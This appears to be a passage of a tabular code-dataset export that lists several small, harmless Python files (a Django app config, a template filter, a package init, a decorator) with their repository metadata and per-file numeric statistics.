Escreva a sua solução aqui
Code your solution here
Escriba su solución aquí
'''
| 13.625
| 26
| 0.669725
| 16
| 109
| 4.5625
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011364
| 0.192661
| 109
| 7
| 27
| 15.571429
| 0.818182
| 0.899083
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
bd758a021942cd9560f911269bb9027e5b1da81f
| 102
|
py
|
Python
|
UTDVN_backend/UTDVN_database/apps.py
|
NewLuminous/UTDVN
|
e3e628fd9aa68278780b88e41ffe2ecdd97704b2
|
[
"MIT"
] | 1
|
2020-02-20T12:41:49.000Z
|
2020-02-20T12:41:49.000Z
|
UTDVN_backend/UTDVN_database/apps.py
|
NewLuminous/UTDVN
|
e3e628fd9aa68278780b88e41ffe2ecdd97704b2
|
[
"MIT"
] | 10
|
2021-03-10T14:27:55.000Z
|
2022-03-02T15:01:13.000Z
|
UTDVN_backend/UTDVN_database/apps.py
|
NewLuminous/UTDVN
|
e3e628fd9aa68278780b88e41ffe2ecdd97704b2
|
[
"MIT"
] | 1
|
2021-12-31T11:15:13.000Z
|
2021-12-31T11:15:13.000Z
|
from django.apps import AppConfig
class UtdvnDatabaseConfig(AppConfig):
name = 'UTDVN_database'
| 17
| 37
| 0.784314
| 11
| 102
| 7.181818
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.147059
| 102
| 5
| 38
| 20.4
| 0.908046
| 0
| 0
| 0
| 0
| 0
| 0.137255
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
bda59aa40e6f1819467765b2f7a28f441cebfbac
| 205
|
py
|
Python
|
src/cms/templatetags/offer_filters.py
|
digitalfabrik/coldaid-backend
|
b769510570d5921e30876565263813c0362994e2
|
[
"Apache-2.0"
] | 4
|
2019-12-05T16:45:17.000Z
|
2020-05-09T07:26:34.000Z
|
src/cms/templatetags/offer_filters.py
|
digitalfabrik/coldaid-backend
|
b769510570d5921e30876565263813c0362994e2
|
[
"Apache-2.0"
] | 56
|
2019-12-05T12:31:37.000Z
|
2021-01-07T15:47:45.000Z
|
src/cms/templatetags/offer_filters.py
|
digitalfabrik/coldaid-backend
|
b769510570d5921e30876565263813c0362994e2
|
[
"Apache-2.0"
] | 2
|
2019-12-11T09:52:26.000Z
|
2020-05-09T07:26:38.000Z
|
from django import template
register = template.Library()
@register.filter
def active_since(region_offers, offer_template):
return region_offers.filter(template=offer_template).first().created_date
| 22.777778
| 77
| 0.814634
| 26
| 205
| 6.192308
| 0.653846
| 0.149068
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097561
| 205
| 8
| 78
| 25.625
| 0.87027
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0.2
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
bdb5b648cc7c4fd86c5d495ef11540bcfe2b78d7
| 92
|
py
|
Python
|
napalm_eltex/__init__.py
|
noc-uac-ssc/napalm-eltex
|
590a8dcc13fa3fcf86f7bc2b71760d5c34952ab8
|
[
"MIT"
] | 1
|
2022-02-15T08:02:34.000Z
|
2022-02-15T08:02:34.000Z
|
napalm_eltex/__init__.py
|
noc-uac-ssc/napalm-eltex
|
590a8dcc13fa3fcf86f7bc2b71760d5c34952ab8
|
[
"MIT"
] | null | null | null |
napalm_eltex/__init__.py
|
noc-uac-ssc/napalm-eltex
|
590a8dcc13fa3fcf86f7bc2b71760d5c34952ab8
|
[
"MIT"
] | 1
|
2022-03-08T06:07:33.000Z
|
2022-03-08T06:07:33.000Z
|
"""napalm-eltex package."""
from napalm_eltex.eltex import CEDriver
__all__ = ('CEDriver',)
| 23
| 39
| 0.73913
| 11
| 92
| 5.727273
| 0.636364
| 0.349206
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097826
| 92
| 4
| 40
| 23
| 0.759036
| 0.228261
| 0
| 0
| 0
| 0
| 0.121212
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
bdff120c7af18e335577c84f26e8967b391cfe34
| 152
|
py
|
Python
|
trainer/rename.py
|
Originofamonia/pylon
|
a13f19d64e366545d4052012dcea7f2c0776e5dc
|
[
"Apache-2.0"
] | 16
|
2020-10-26T20:09:00.000Z
|
2021-09-07T12:05:39.000Z
|
trainer/rename.py
|
aggelis/pylon
|
e26202b2c1cfbb8b5c444f840763f0ce839f048a
|
[
"Apache-2.0"
] | null | null | null |
trainer/rename.py
|
aggelis/pylon
|
e26202b2c1cfbb8b5c444f840763f0ce839f048a
|
[
"Apache-2.0"
] | 8
|
2020-10-26T08:01:41.000Z
|
2022-03-05T20:25:59.000Z
|
def rename(newname):
"""define the name of the function"""
def decorator(f):
f.__name__ = newname
return f
return decorator
| 21.714286
| 41
| 0.611842
| 19
| 152
| 4.684211
| 0.578947
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.296053
| 152
| 7
| 42
| 21.714286
| 0.831776
| 0.203947
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
da1af0282a8d386d1e728a0a2364c6d88830fe33
| 41
|
py
|
Python
|
api/algo.py
|
unithmallavaram/TeamFormationAssistant_V2
|
c2fd982765adf0c716bb836732a4dcae66c3a2ce
|
[
"MIT"
] | 3
|
2020-10-01T02:55:21.000Z
|
2020-10-05T01:37:50.000Z
|
api/algo.py
|
unithmallavaram/TeamFormationAssistant_V2
|
c2fd982765adf0c716bb836732a4dcae66c3a2ce
|
[
"MIT"
] | 40
|
2021-09-19T21:05:41.000Z
|
2021-10-02T04:09:07.000Z
|
api/algo.py
|
unithmallavaram/TeamFormationAssistant_V2
|
c2fd982765adf0c716bb836732a4dcae66c3a2ce
|
[
"MIT"
] | 5
|
2020-10-27T03:21:57.000Z
|
2021-09-19T19:58:35.000Z
|
import sys
f = open("success.txt", "w")
| 10.25
| 28
| 0.609756
| 7
| 41
| 3.571429
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.170732
| 41
| 3
| 29
| 13.666667
| 0.735294
| 0
| 0
| 0
| 0
| 0
| 0.292683
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.